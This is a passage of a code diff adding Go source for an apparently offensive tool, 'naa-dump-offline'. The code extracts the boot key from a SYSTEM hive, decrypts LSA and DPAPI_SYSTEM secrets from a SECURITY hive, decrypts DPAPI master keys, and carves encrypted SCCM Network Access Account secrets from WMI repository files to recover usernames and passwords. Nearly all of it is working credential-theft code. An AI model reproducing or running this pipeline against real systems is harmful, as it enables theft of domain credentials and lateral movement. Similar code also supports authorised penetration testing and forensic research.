61+ return nil, fmt.Errorf("invalid blob at CryptAlgo")
62+ }
63+ blob.CryptAlgo = binary.LittleEndian.Uint32(raw[offset : offset+4])
64+ blob.CryptAlgoLen = binary.LittleEndian.Uint32(raw[offset+4 : offset+8])
65+ offset += 8
66+
67+ if offset+4 > len(raw) {
68+ return nil, fmt.Errorf("invalid blob at SaltLen")
69+ }
70+ saltLen := binary.LittleEndian.Uint32(raw[offset : offset+4])
71+ offset += 4
72+ if offset+int(saltLen) > len(raw) {
73+ return nil, fmt.Errorf("invalid blob salt length")
74+ }
75+ blob.Salt = raw[offset : offset+int(saltLen)]
76+ offset += int(saltLen)
77+
78+ if offset+4 > len(raw) {
79+ return nil, fmt.Errorf("invalid blob at HMacKeyLen")
80+ }
81+ hmacKeyLen := binary.LittleEndian.Uint32(raw[offset : offset+4])
82+ offset += 4
83+ if offset+int(hmacKeyLen) > len(raw) {
84+ return nil, fmt.Errorf("invalid blob hmac key length")
85+ }
86+ blob.HMacKey = raw[offset : offset+int(hmacKeyLen)]
87+ offset += int(hmacKeyLen)
88+
89+ if offset+8 > len(raw) {
90+ return nil, fmt.Errorf("invalid blob at HashAlgo")
91+ }
92+ blob.HashAlgo = binary.LittleEndian.Uint32(raw[offset : offset+4])
93+ blob.HashAlgoLen = binary.LittleEndian.Uint32(raw[offset+4 : offset+8])
94+ offset += 8
95+
96+ if offset+4 > len(raw) {
97+ return nil, fmt.Errorf("invalid blob at HMacLen")
98+ }
99+ hmacLen := binary.LittleEndian.Uint32(raw[offset : offset+4])
100+ offset += 4
101+ if offset+int(hmacLen) > len(raw) {
102+ return nil, fmt.Errorf("invalid blob hmac length")
103+ }
104+ blob.HMac = raw[offset : offset+int(hmacLen)]
105+ offset += int(hmacLen)
106+
107+ if offset+4 > len(raw) {
108+ return nil, fmt.Errorf("invalid blob at DataLen")
109+ }
110+ dataLen := binary.LittleEndian.Uint32(raw[offset : offset+4])
111+ offset += 4
112+ if offset+int(dataLen) > len(raw) {
113+ return nil, fmt.Errorf("invalid blob data length")
114+ }
115+ blob.Data = raw[offset : offset+int(dataLen)]
116+ offset += int(dataLen)
117+
118+ if offset+4 <= len(raw) {
119+ signLen := binary.LittleEndian.Uint32(raw[offset : offset+4])
120+ offset += 4
121+ if offset+int(signLen) <= len(raw) {
122+ blob.Sign = raw[offset : offset+int(signLen)]
123+ }
124+ }
125+
126+ return blob, nil
127+}
128+
129+func (blob *DPAPIBlob) Decrypt(masterKey []byte) ([]byte, error) {
130+ h := sha1.New()
131+ h.Write(masterKey)
132+ keyHash := h.Sum(nil)
133+
134+ var hashFunc func() hash.Hash
135+ var hashBlockSize int
136+ switch blob.HashAlgo {
137+ case CALG_SHA1, CALG_HMAC:
138+ hashFunc = sha1.New
139+ hashBlockSize = 64
140+ case CALG_SHA_512:
141+ hashFunc = sha512.New
142+ hashBlockSize = 128
143+ default:
144+ return nil, fmt.Errorf("unsupported blob hash algo: 0x%x", blob.HashAlgo)
145+ }
146+
147+ var cryptKeyLen, ivLen int
148+ switch blob.CryptAlgo {
149+ case CALG_AES_256:
150+ cryptKeyLen = 32
151+ ivLen = 16
152+ case CALG_AES_128:
153+ cryptKeyLen = 16
154+ ivLen = 16
155+ case CALG_3DES:
156+ cryptKeyLen = 24
157+ ivLen = 8
158+ default:
159+ return nil, fmt.Errorf("unsupported blob crypt algo: 0x%x", blob.CryptAlgo)
160+ }
161+
162+ h2 := hmac.New(hashFunc, keyHash)
163+ h2.Write(blob.Salt)
164+ sessionKey := h2.Sum(nil)
165+
166+ derivedKey := sessionKey
167+ if len(derivedKey) > hashBlockSize {
168+ h3 := hmac.New(hashFunc, sessionKey)
169+ derivedKey = h3.Sum(nil)
170+ }
171+
172+ if len(derivedKey) < cryptKeyLen {
173+ padLen := hashBlockSize
174+ padded := make([]byte, len(derivedKey)+padLen)
175+ copy(padded, derivedKey)
176+ ipad := make([]byte, padLen)
177+ opad := make([]byte, padLen)
178+ for i := 0; i < padLen; i++ {
179+ ipad[i] = padded[i] ^ 0x36
180+ opad[i] = padded[i] ^ 0x5c
181+ }
182+
183+ hi := hashFunc()
184+ hi.Write(ipad)
185+ ho := hashFunc()
186+ ho.Write(opad)
187+
188+ derivedKey = append(hi.Sum(nil), ho.Sum(nil)...)
189+ }
190+
191+ cryptKey := derivedKey[:cryptKeyLen]
192+ iv := make([]byte, ivLen)
193+
194+ var cleartext []byte
195+ switch blob.CryptAlgo {
196+ case CALG_AES_256, CALG_AES_128:
197+ block, err := aes.NewCipher(cryptKey)
198+ if err != nil {
199+ return nil, err
200+ }
201+ if len(blob.Data)%aes.BlockSize != 0 {
202+ return nil, fmt.Errorf("ciphertext length not multiple of AES block size")
203+ }
204+ mode := cipher.NewCBCDecrypter(block, iv)
205+ cleartext = make([]byte, len(blob.Data))
206+ mode.CryptBlocks(cleartext, blob.Data)
207+ case CALG_3DES:
208+ block, err := des.NewTripleDESCipher(cryptKey)
209+ if err != nil {
210+ return nil, err
211+ }
212+ if len(blob.Data)%des.BlockSize != 0 {
213+ return nil, fmt.Errorf("ciphertext length not multiple of 3DES block size")
214+ }
215+ mode := cipher.NewCBCDecrypter(block, iv)
216+ cleartext = make([]byte, len(blob.Data))
217+ mode.CryptBlocks(cleartext, blob.Data)
218+ }
219+
220+ if len(cleartext) == 0 {
221+ return nil, fmt.Errorf("decrypted cleartext empty")
222+ }
223+
224+ padding := int(cleartext[len(cleartext)-1])
225+ if padding > 0 && padding <= len(cleartext) {
226+ valid := true
227+ for i := len(cleartext) - padding; i < len(cleartext); i++ {
228+ if cleartext[i] != byte(padding) {
229+ valid = false
230+ break
231+ }
232+ }
233+ if valid {
234+ return cleartext[:len(cleartext)-padding], nil
235+ }
236+ }
237+
238+ return cleartext, nil
239+}
pkg/dpapi/crypto.go
......@@ -0,0 +1,77 @@
1+package dpapi
2+
3+import (
4+ "crypto/hmac"
5+ "encoding/binary"
6+ "fmt"
7+ "hash"
8+ "strings"
9+ "unicode/utf16"
10+)
11+
12+const (
13+ CALG_3DES = 0x6603
14+ CALG_AES_128 = 0x660e
15+ CALG_AES_192 = 0x660f
16+ CALG_AES_256 = 0x6610
17+ CALG_SHA1 = 0x8004
18+ CALG_HMAC = 0x8009
19+ CALG_SHA_256 = 0x800c
20+ CALG_SHA_384 = 0x800d
21+ CALG_SHA_512 = 0x800e
22+)
23+
24+func DeriveKeyDPAPI(passphrase, salt []byte, keyLen, count int, newHash func() hash.Hash) []byte {
25+ var keyMaterial []byte
26+ i := uint32(1)
27+ for len(keyMaterial) < keyLen {
28+ U := make([]byte, len(salt)+4)
29+ copy(U, salt)
30+ binary.BigEndian.PutUint32(U[len(salt):], i)
31+ i++
32+
33+ h := hmac.New(newHash, passphrase)
34+ h.Write(U)
35+ derived := h.Sum(nil)
36+
37+ for r := 0; r < count-1; r++ {
38+ h = hmac.New(newHash, passphrase)
39+ h.Write(derived)
40+ actual := h.Sum(nil)
41+ for b := range derived {
42+ derived[b] ^= actual[b]
43+ }
44+ }
45+ keyMaterial = append(keyMaterial, derived...)
46+ }
47+ return keyMaterial[:keyLen]
48+}
49+
50+func FormatGUID(b []byte) string {
51+ if len(b) < 16 {
52+ return ""
53+ }
54+ d1 := binary.LittleEndian.Uint32(b[0:4])
55+ d2 := binary.LittleEndian.Uint16(b[4:6])
56+ d3 := binary.LittleEndian.Uint16(b[6:8])
57+ return fmt.Sprintf("%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x",
58+ d1, d2, d3, b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15])
59+}
60+
61+func NormalizeGUID(s string) string {
62+ s = strings.TrimSpace(s)
63+ s = strings.TrimPrefix(s, "{")
64+ s = strings.TrimSuffix(s, "}")
65+ return strings.ToLower(s)
66+}
67+
68+func DecodeUTF16LE(b []byte) string {
69+ if len(b) == 0 {
70+ return ""
71+ }
72+ u16 := make([]uint16, len(b)/2)
73+ for i := range u16 {
74+ u16[i] = binary.LittleEndian.Uint16(b[i*2:])
75+ }
76+ return strings.TrimRight(string(utf16.Decode(u16)), "\x00")
77+}
pkg/dpapi/masterkey.go
......@@ -0,0 +1,265 @@
1+package dpapi
2+
3+import (
4+ "bytes"
5+ "crypto/aes"
6+ "crypto/cipher"
7+ "crypto/des"
8+ "crypto/hmac"
9+ "crypto/sha1"
10+ "crypto/sha512"
11+ "encoding/binary"
12+ "fmt"
13+ "hash"
14+ "os"
15+ "path/filepath"
16+
17+ "github.com/shehzade/naa-dump-offline/pkg/registry"
18+)
19+
20+type MasterKeyFile struct {
21+ Version uint32
22+ Unk1 uint32
23+ Unk2 uint32
24+ Guid string
25+ Unknown uint32
26+ Policy uint32
27+ Flags uint32
28+ MasterKeyLen uint64
29+ BackupKeyLen uint64
30+ CredHistLen uint64
31+ DomainKeyLen uint64
32+ MasterKey *MasterKey
33+ BackupKey *MasterKey
34+}
35+
36+type MasterKey struct {
37+ Version uint32
38+ Salt []byte
39+ Rounds uint32
40+ HashAlgo uint32
41+ CryptAlgo uint32
42+ Data []byte
43+ DecryptedKey []byte
44+}
45+
46+func ParseMasterKeyFile(raw []byte) (*MasterKeyFile, error) {
47+ if len(raw) < 128 {
48+ return nil, fmt.Errorf("master key file too short (%d bytes)", len(raw))
49+ }
50+
51+ mkf := &MasterKeyFile{
52+ Version: binary.LittleEndian.Uint32(raw[0:4]),
53+ Unk1: binary.LittleEndian.Uint32(raw[4:8]),
54+ Unk2: binary.LittleEndian.Uint32(raw[8:12]),
55+ Guid: NormalizeGUID(DecodeUTF16LE(raw[12:84])),
56+ Unknown: binary.LittleEndian.Uint32(raw[84:88]),
57+ Policy: binary.LittleEndian.Uint32(raw[88:92]),
58+ Flags: binary.LittleEndian.Uint32(raw[92:96]),
59+ MasterKeyLen: binary.LittleEndian.Uint64(raw[96:104]),
60+ BackupKeyLen: binary.LittleEndian.Uint64(raw[104:112]),
61+ CredHistLen: binary.LittleEndian.Uint64(raw[112:120]),
62+ DomainKeyLen: binary.LittleEndian.Uint64(raw[120:128]),
63+ }
64+
65+ offset := 128
66+ if mkf.MasterKeyLen > 0 && offset+int(mkf.MasterKeyLen) <= len(raw) {
67+ mkData := raw[offset : offset+int(mkf.MasterKeyLen)]
68+ mkf.MasterKey = parseMasterKey(mkData)
69+ offset += int(mkf.MasterKeyLen)
70+ }
71+
72+ if mkf.BackupKeyLen > 0 && offset+int(mkf.BackupKeyLen) <= len(raw) {
73+ bkmkData := raw[offset : offset+int(mkf.BackupKeyLen)]
74+ mkf.BackupKey = parseMasterKey(bkmkData)
75+ }
76+
77+ return mkf, nil
78+}
79+
80+func parseMasterKey(raw []byte) *MasterKey {
81+ if len(raw) < 32 {
82+ return nil
83+ }
84+ return &MasterKey{
85+ Version: binary.LittleEndian.Uint32(raw[0:4]),
86+ Salt: raw[4:20],
87+ Rounds: binary.LittleEndian.Uint32(raw[20:24]),
88+ HashAlgo: binary.LittleEndian.Uint32(raw[24:28]),
89+ CryptAlgo: binary.LittleEndian.Uint32(raw[28:32]),
90+ Data: raw[32:],
91+ }
92+}
93+
94+func (mk *MasterKey) Decrypt(key []byte) ([]byte, error) {
95+ if mk == nil {
96+ return nil, fmt.Errorf("nil master key")
97+ }
98+
99+ var hashFunc func() hash.Hash
100+ var hashKeyLen int
101+ switch mk.HashAlgo {
102+ case CALG_HMAC, CALG_SHA1:
103+ hashFunc = sha1.New
104+ hashKeyLen = 20
105+ case CALG_SHA_512:
106+ hashFunc = sha512.New
107+ hashKeyLen = 64
108+ default:
109+ return nil, fmt.Errorf("unsupported hash algo: 0x%x", mk.HashAlgo)
110+ }
111+
112+ var cryptKeyLen, ivLen int
113+ switch mk.CryptAlgo {
114+ case CALG_AES_256:
115+ cryptKeyLen = 32
116+ ivLen = 16
117+ case CALG_3DES:
118+ cryptKeyLen = 24
119+ ivLen = 8
120+ default:
121+ return nil, fmt.Errorf("unsupported crypt algo: 0x%x", mk.CryptAlgo)
122+ }
123+
124+ derivedBlob := DeriveKeyDPAPI(key, mk.Salt, cryptKeyLen+ivLen, int(mk.Rounds), hashFunc)
125+ cryptKey := derivedBlob[:cryptKeyLen]
126+ iv := derivedBlob[cryptKeyLen : cryptKeyLen+ivLen]
127+
128+ var cleartext []byte
129+ switch mk.CryptAlgo {
130+ case CALG_AES_256:
131+ block, err := aes.NewCipher(cryptKey)
132+ if err != nil {
133+ return nil, err
134+ }
135+ if len(mk.Data)%aes.BlockSize != 0 {
136+ return nil, fmt.Errorf("ciphertext length not multiple of AES block size")
137+ }
138+ mode := cipher.NewCBCDecrypter(block, iv)
139+ cleartext = make([]byte, len(mk.Data))
140+ mode.CryptBlocks(cleartext, mk.Data)
141+ case CALG_3DES:
142+ block, err := des.NewTripleDESCipher(cryptKey)
143+ if err != nil {
144+ return nil, err
145+ }
146+ if len(mk.Data)%des.BlockSize != 0 {
147+ return nil, fmt.Errorf("ciphertext length not multiple of 3DES block size")
148+ }
149+ mode := cipher.NewCBCDecrypter(block, iv)
150+ cleartext = make([]byte, len(mk.Data))
151+ mode.CryptBlocks(cleartext, mk.Data)
152+ }
153+
154+ if len(cleartext) < 16+hashKeyLen+64 {
155+ return nil, fmt.Errorf("cleartext too short (%d)", len(cleartext))
156+ }
157+
158+ decryptedKey := cleartext[len(cleartext)-64:]
159+ hmacSalt := cleartext[:16]
160+ hmacExpected := cleartext[16 : 16+hashKeyLen]
161+
162+ h1 := hmac.New(hashFunc, key)
163+ h1.Write(hmacSalt)
164+ hmacKey := h1.Sum(nil)
165+
166+ h2 := hmac.New(hashFunc, hmacKey)
167+ h2.Write(decryptedKey)
168+ hmacCalculated := h2.Sum(nil)
169+
170+ if !bytes.Equal(hmacCalculated[:hashKeyLen], hmacExpected) {
171+ return nil, fmt.Errorf("HMAC verification failed")
172+ }
173+
174+ mk.DecryptedKey = decryptedKey
175+ return decryptedKey, nil
176+}
177+
178+func (mkf *MasterKeyFile) DecryptWithSystemKeys(keys *registry.DPAPISystemKeys) ([]byte, string, error) {
179+ if mkf.MasterKey != nil && len(keys.UserKey) > 0 {
180+ if dec, err := mkf.MasterKey.Decrypt(keys.UserKey); err == nil {
181+ return dec, "UserKey", nil
182+ }
183+ }
184+
185+ if mkf.MasterKey != nil && len(keys.MachineKey) > 0 {
186+ if dec, err := mkf.MasterKey.Decrypt(keys.MachineKey); err == nil {
187+ return dec, "MachineKey", nil
188+ }
189+ }
190+
191+ if mkf.BackupKey != nil && len(keys.UserKey) > 0 {
192+ if dec, err := mkf.BackupKey.Decrypt(keys.UserKey); err == nil {
193+ return dec, "BackupKey (UserKey)", nil
194+ }
195+ }
196+
197+ if mkf.BackupKey != nil && len(keys.MachineKey) > 0 {
198+ if dec, err := mkf.BackupKey.Decrypt(keys.MachineKey); err == nil {
199+ return dec, "BackupKey (MachineKey)", nil
200+ }
201+ }
202+
203+ return nil, "", fmt.Errorf("failed to decrypt master key with UserKey or MachineKey")
204+}
205+
206+func LoadAndDecryptMasterKey(pathOrDir string, targetGUID string, keys *registry.DPAPISystemKeys) ([]byte, string, error) {
207+ info, err := os.Stat(pathOrDir)
208+ if err != nil {
209+ return nil, "", fmt.Errorf("cannot access master key path: %w", err)
210+ }
211+
212+ targetGUID = NormalizeGUID(targetGUID)
213+
214+ if !info.IsDir() {
215+ data, err := os.ReadFile(pathOrDir)
216+ if err != nil {
217+ return nil, "", fmt.Errorf("failed to read master key file: %w", err)
218+ }
219+ mkf, err := ParseMasterKeyFile(data)
220+ if err != nil {
221+ return nil, "", fmt.Errorf("failed to parse master key file: %w", err)
222+ }
223+ decKey, keyType, err := mkf.DecryptWithSystemKeys(keys)
224+ if err != nil {
225+ return nil, "", fmt.Errorf("failed to decrypt master key %s: %w", pathOrDir, err)
226+ }
227+ return decKey, fmt.Sprintf("%s (%s)", pathOrDir, keyType), nil
228+ }
229+
230+ entries, err := os.ReadDir(pathOrDir)
231+ if err != nil {
232+ return nil, "", fmt.Errorf("failed to read master key directory: %w", err)
233+ }
234+
235+ var filesToTry []string
236+ for _, e := range entries {
237+ if !e.IsDir() {
238+ filesToTry = append(filesToTry, filepath.Join(pathOrDir, e.Name()))
239+ }
240+ }
241+
242+ for _, filePath := range filesToTry {
243+ data, err := os.ReadFile(filePath)
244+ if err != nil {
245+ continue
246+ }
247+
248+ mkf, err := ParseMasterKeyFile(data)
249+ if err != nil {
250+ continue
251+ }
252+
253+ fileBase := NormalizeGUID(filepath.Base(filePath))
254+ if targetGUID != "" && mkf.Guid != targetGUID && fileBase != targetGUID {
255+ continue
256+ }
257+
258+ decKey, keyType, err := mkf.DecryptWithSystemKeys(keys)
259+ if err == nil {
260+ return decKey, fmt.Sprintf("%s (%s)", filePath, keyType), nil
261+ }
262+ }
263+
264+ return nil, "", fmt.Errorf("could not find or decrypt valid master key for GUID %s in %s", targetGUID, pathOrDir)
265+}
pkg/registry/bootkey.go
......@@ -0,0 +1,95 @@
1+package registry
2+
3+import (
4+ "encoding/binary"
5+ "encoding/hex"
6+ "fmt"
7+ "io"
8+ "os"
9+ "unicode/utf16"
10+
11+ "www.velocidex.com/golang/regparser"
12+)
13+
14+var bootKeyPermutation = []int{8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7}
15+
16+func readClassString(r io.ReaderAt, key *regparser.CM_KEY_NODE) (string, error) {
17+ offset := key.Class()
18+ length := key.ClassLength()
19+ if length == 0 {
20+ return "", fmt.Errorf("empty class")
21+ }
22+ buf := make([]byte, length)
23+ _, err := r.ReadAt(buf, int64(4096+offset+4))
24+ if err != nil {
25+ return "", err
26+ }
27+ u16 := make([]uint16, length/2)
28+ for i := 0; i < len(u16); i++ {
29+ u16[i] = binary.LittleEndian.Uint16(buf[i*2 : (i+1)*2])
30+ }
31+ return string(utf16.Decode(u16)), nil
32+}
33+
34+func GetBootKey(systemHivePath string) ([]byte, error) {
35+ f, err := os.Open(systemHivePath)
36+ if err != nil {
37+ return nil, fmt.Errorf("failed to open SYSTEM hive: %w", err)
38+ }
39+ defer f.Close()
40+
41+ reg, err := regparser.NewRegistry(f)
42+ if err != nil {
43+ return nil, fmt.Errorf("failed to parse SYSTEM hive: %w", err)
44+ }
45+
46+ selectKey := reg.OpenKey("Select")
47+ if selectKey == nil {
48+ return nil, fmt.Errorf("could not find Select key in SYSTEM hive")
49+ }
50+
51+ var currentControlSet string
52+ for _, val := range selectKey.Values() {
53+ if val.ValueName() == "Current" {
54+ currentControlSet = fmt.Sprintf("ControlSet%03d", val.ValueData().Uint64)
55+ break
56+ }
57+ }
58+ if currentControlSet == "" {
59+ currentControlSet = "ControlSet001"
60+ }
61+
62+ subkeys := []string{"JD", "Skew1", "GBG", "Data"}
63+ var hexStr string
64+
65+ for _, sub := range subkeys {
66+ path := fmt.Sprintf("%s\\Control\\Lsa\\%s", currentControlSet, sub)
67+ k := reg.OpenKey(path)
68+ if k == nil {
69+ return nil, fmt.Errorf("could not find key: %s", path)
70+ }
71+ s, err := readClassString(f, k)
72+ if err != nil {
73+ return nil, fmt.Errorf("failed to read class for %s: %w", path, err)
74+ }
75+ if len(s) > 8 {
76+ s = s[:8]
77+ }
78+ hexStr += s
79+ }
80+
81+ rawBytes, err := hex.DecodeString(hexStr)
82+ if err != nil {
83+ return nil, fmt.Errorf("failed to decode bootkey hex: %w", err)
84+ }
85+ if len(rawBytes) != 16 {
86+ return nil, fmt.Errorf("expected 16 scrambled bytes, got %d", len(rawBytes))
87+ }
88+
89+ bootKey := make([]byte, len(rawBytes))
90+ for i := range bootKey {
91+ bootKey[i] = rawBytes[bootKeyPermutation[i]]
92+ }
93+
94+ return bootKey, nil
95+}
pkg/registry/lsa.go
......@@ -0,0 +1,137 @@
1+package registry
2+
3+import (
4+ "crypto/aes"
5+ "crypto/cipher"
6+ "crypto/sha256"
7+ "encoding/binary"
8+ "fmt"
9+ "os"
10+
11+ "www.velocidex.com/golang/regparser"
12+)
13+
14+type DPAPISystemKeys struct {
15+ BootKey []byte
16+ LSAKey []byte
17+ MachineKey []byte
18+ UserKey []byte
19+}
20+
21+func sha256Key(key, value []byte) []byte {
22+ h := sha256.New()
23+ h.Write(key)
24+ for i := 0; i < 1000; i++ {
25+ h.Write(value)
26+ }
27+ return h.Sum(nil)
28+}
29+
30+func decryptAES(key, ciphertext []byte) ([]byte, error) {
31+ block, err := aes.NewCipher(key)
32+ if err != nil {
33+ return nil, err
34+ }
35+ iv := make([]byte, 16)
36+ paddedLen := (len(ciphertext) + 15) / 16 * 16
37+ buf := make([]byte, paddedLen)
38+ copy(buf, ciphertext)
39+
40+ out := make([]byte, paddedLen)
41+ for i := 0; i < len(buf); i += 16 {
42+ mode := cipher.NewCBCDecrypter(block, iv)
43+ mode.CryptBlocks(out[i:i+16], buf[i:i+16])
44+ }
45+ return out, nil
46+}
47+
48+func ExtractDPAPISystemKeys(securityHivePath string, bootKey []byte) (*DPAPISystemKeys, error) {
49+ f, err := os.Open(securityHivePath)
50+ if err != nil {
51+ return nil, fmt.Errorf("failed to open SECURITY hive: %w", err)
52+ }
53+ defer f.Close()
54+
55+ reg, err := regparser.NewRegistry(f)
56+ if err != nil {
57+ return nil, fmt.Errorf("failed to parse SECURITY hive: %w", err)
58+ }
59+
60+ polEKKey := reg.OpenKey("Policy\\PolEKList")
61+ if polEKKey == nil {
62+ return nil, fmt.Errorf("could not find Policy\\PolEKList key in SECURITY hive")
63+ }
64+
65+ var polEKVal []byte
66+ for _, v := range polEKKey.Values() {
67+ if v.ValueName() == "" || v.ValueName() == "default" {
68+ polEKVal = v.ValueData().Data
69+ break
70+ }
71+ }
72+ if len(polEKVal) < 60 {
73+ return nil, fmt.Errorf("Policy\\PolEKList value is too short (%d bytes)", len(polEKVal))
74+ }
75+
76+ salt := polEKVal[28 : 28+32]
77+ ciphertext := polEKVal[28+32:]
78+
79+ tmpKey := sha256Key(bootKey, salt)
80+ plainText, err := decryptAES(tmpKey, ciphertext)
81+ if err != nil {
82+ return nil, fmt.Errorf("failed to decrypt PolEKList: %w", err)
83+ }
84+
85+ if len(plainText) < 100 {
86+ return nil, fmt.Errorf("decrypted PolEKList plainText too short (%d bytes)", len(plainText))
87+ }
88+ lsaKey := make([]byte, 32)
89+ copy(lsaKey, plainText[68:100])
90+
91+ dpapiValKey := reg.OpenKey("Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal")
92+ if dpapiValKey == nil {
93+ return nil, fmt.Errorf("could not find Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal key in SECURITY hive")
94+ }
95+
96+ var dpapiVal []byte
97+ for _, v := range dpapiValKey.Values() {
98+ if v.ValueName() == "" || v.ValueName() == "default" {
99+ dpapiVal = v.ValueData().Data
100+ break
101+ }
102+ }
103+ if len(dpapiVal) < 60 {
104+ return nil, fmt.Errorf("DPAPI_SYSTEM CurrVal is too short (%d bytes)", len(dpapiVal))
105+ }
106+
107+ dpapiSalt := dpapiVal[28 : 28+32]
108+ dpapiCipher := dpapiVal[28+32:]
109+
110+ dpapiTmpKey := sha256Key(lsaKey, dpapiSalt)
111+ dpapiPlain, err := decryptAES(dpapiTmpKey, dpapiCipher)
112+ if err != nil {
113+ return nil, fmt.Errorf("failed to decrypt DPAPI_SYSTEM secret: %w", err)
114+ }
115+
116+ if len(dpapiPlain) < 16 {
117+ return nil, fmt.Errorf("decrypted DPAPI_SYSTEM plainText too short (%d bytes)", len(dpapiPlain))
118+ }
119+
120+ secretLen := binary.LittleEndian.Uint32(dpapiPlain[:4])
121+ if int(16+secretLen) > len(dpapiPlain) || secretLen < 44 {
122+ return nil, fmt.Errorf("invalid secret length in DPAPI_SYSTEM: %d", secretLen)
123+ }
124+
125+ dpapiSecret := dpapiPlain[16 : 16+secretLen]
126+ machineKey := make([]byte, 20)
127+ userKey := make([]byte, 20)
128+ copy(machineKey, dpapiSecret[4:24])
129+ copy(userKey, dpapiSecret[24:44])
130+
131+ return &DPAPISystemKeys{
132+ BootKey: bootKey,
133+ LSAKey: lsaKey,
134+ MachineKey: machineKey,
135+ UserKey: userKey,
136+ }, nil
137+}
pkg/wmi/carver.go
......@@ -0,0 +1,164 @@
1+package wmi
2+
3+import (
4+ "bytes"
5+ "encoding/hex"
6+ "fmt"
7+ "os"
8+ "regexp"
9+ "sort"
10+ "strings"
11+
12+ "github.com/shehzade/naa-dump-offline/pkg/dpapi"
13+)
14+
15+type CarverResult struct {
16+ TotalBlobs int
17+ UniqueBlobs []*CarvedSecret
18+ RequiredGUIDs []string
19+ GUIDCounts map[string]int
20+}
21+
22+var (
23+ policySecretRe = regexp.MustCompile(`(?s)<PolicySecret[^>]*><!\[CDATA\[([0-9A-Fa-f]{100,})\]\]></PolicySecret>`)
24+)
25+
26+func ScanObjectsData(objectsDataPath string) (*CarverResult, error) {
27+ data, err := os.ReadFile(objectsDataPath)
28+ if err != nil {
29+ return nil, fmt.Errorf("failed to read OBJECTS.DATA: %w", err)
30+ }
31+
32+ result := &CarverResult{
33+ GUIDCounts: make(map[string]int),
34+ }
35+
36+ seenHex := make(map[string]*CarvedSecret)
37+
38+ matches := policySecretRe.FindAllSubmatchIndex(data, -1)
39+ result.TotalBlobs = len(matches)
40+
41+ for i, loc := range matches {
42+ matchStart := loc[0]
43+ matchEnd := loc[1]
44+ subStart := loc[2]
45+ subEnd := loc[3]
46+
47+ hexPayload := string(data[subStart:subEnd])
48+
49+ ctxStart := matchStart - 200
50+ if ctxStart < 0 {
51+ ctxStart = 0
52+ }
53+ prefixChunk := string(data[ctxStart:matchStart])
54+ context := "PolicySecret"
55+ if strings.Contains(prefixChunk, "CCM_NetworkAccessAccount") {
56+ context = "CCM_NetworkAccessAccount"
57+ } else if strings.Contains(prefixChunk, "CCM_Policy_Action") {
58+ context = "CCM_Policy_Action"
59+ } else if strings.Contains(prefixChunk, "CCM_Policy_Policy5") {
60+ context = "CCM_Policy_Policy5"
61+ }
62+
63+ rawBytes, err := hex.DecodeString(hexPayload)
64+ if err != nil || len(rawBytes) < 44 {
65+ continue
66+ }
67+
68+ blobBytes := rawBytes
69+ if len(rawBytes) > 4 {
70+ blobBytes = rawBytes[4:]
71+ }
72+
73+ blob, err := dpapi.ParseDPAPIBlob(blobBytes)
74+ if err != nil {
75+ blob, err = dpapi.ParseDPAPIBlob(rawBytes)
76+ if err != nil {
77+ continue
78+ }
79+ }
80+
81+ guid := blob.GuidMasterKey
82+ if guid != "" {
83+ result.GUIDCounts[guid]++
84+ }
85+
86+ if existing, ok := seenHex[hexPayload]; ok {
87+ if existing.Context == "PolicySecret" && context != "PolicySecret" {
88+ existing.Context = context
89+ }
90+ continue
91+ }
92+
93+ secret := &CarvedSecret{
94+ Index: i + 1,
95+ Offset: int64(matchStart),
96+ MasterKeyGUID: guid,
97+ Context: context,
98+ RawHex: hexPayload,
99+ }
100+
101+ seenHex[hexPayload] = secret
102+ result.UniqueBlobs = append(result.UniqueBlobs, secret)
103+ _ = matchEnd
104+ }
105+
106+ naaIdx := 0
107+ for {
108+ idx := bytes.Index(data[naaIdx:], []byte("CCM_NetworkAccessAccount"))
109+ if idx == -1 {
110+ break
111+ }
112+ actualIdx := naaIdx + idx
113+ windowEnd := actualIdx + 2000
114+ if windowEnd > len(data) {
115+ windowEnd = len(data)
116+ }
117+ window := data[actualIdx:windowEnd]
118+
119+ subMatches := cdataRegex.FindAllSubmatchIndex(window, -1)
120+ for _, sm := range subMatches {
121+ h := string(window[sm[2]:sm[3]])
122+ if _, ok := seenHex[h]; !ok {
123+ rawBytes, err := hex.DecodeString(h)
124+ if err != nil || len(rawBytes) < 44 {
125+ continue
126+ }
127+ blobBytes := rawBytes
128+ if len(rawBytes) > 4 {
129+ blobBytes = rawBytes[4:]
130+ }
131+ blob, err := dpapi.ParseDPAPIBlob(blobBytes)
132+ if err != nil {
133+ blob, err = dpapi.ParseDPAPIBlob(rawBytes)
134+ if err != nil {
135+ continue
136+ }
137+ }
138+ guid := blob.GuidMasterKey
139+ if guid != "" {
140+ result.GUIDCounts[guid]++
141+ }
142+ secret := &CarvedSecret{
143+ Index: len(result.UniqueBlobs) + 1,
144+ Offset: int64(actualIdx + sm[0]),
145+ MasterKeyGUID: guid,
146+ Context: "CCM_NetworkAccessAccount",
147+ RawHex: h,
148+ }
149+ seenHex[h] = secret
150+ result.UniqueBlobs = append(result.UniqueBlobs, secret)
151+ result.TotalBlobs++
152+ }
153+ }
154+
155+ naaIdx = actualIdx + len("CCM_NetworkAccessAccount")
156+ }
157+
158+ for guid := range result.GUIDCounts {
159+ result.RequiredGUIDs = append(result.RequiredGUIDs, guid)
160+ }
161+ sort.Strings(result.RequiredGUIDs)
162+
163+ return result, nil
164+}
pkg/wmi/policy.go
......@@ -0,0 +1,162 @@
1+package wmi
2+
3+import (
4+ "bytes"
5+ "compress/zlib"
6+ "encoding/hex"
7+ "fmt"
8+ "io"
9+ "regexp"
10+ "strings"
11+
12+ "github.com/shehzade/naa-dump-offline/pkg/dpapi"
13+)
14+
15+type NAACredential struct {
16+ Username string `json:"username"`
17+ Password string `json:"password"`
18+ Source string `json:"source,omitempty"`
19+}
20+
21+type CarvedSecret struct {
22+ Index int `json:"index"`
23+ Offset int64 `json:"offset"`
24+ MasterKeyGUID string `json:"masterkey_guid"`
25+ Context string `json:"context"`
26+ RawHex string `json:"-"`
27+ DecryptedBytes []byte `json:"-"`
28+ DecryptedText string `json:"decrypted_text,omitempty"`
29+ IsEmpty bool `json:"is_empty"`
30+}
31+
32+var (
33+ cdataRegex = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]{100,})\]\]>`)
34+ xmlHexRe = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]+)\]\]>`)
35+)
36+
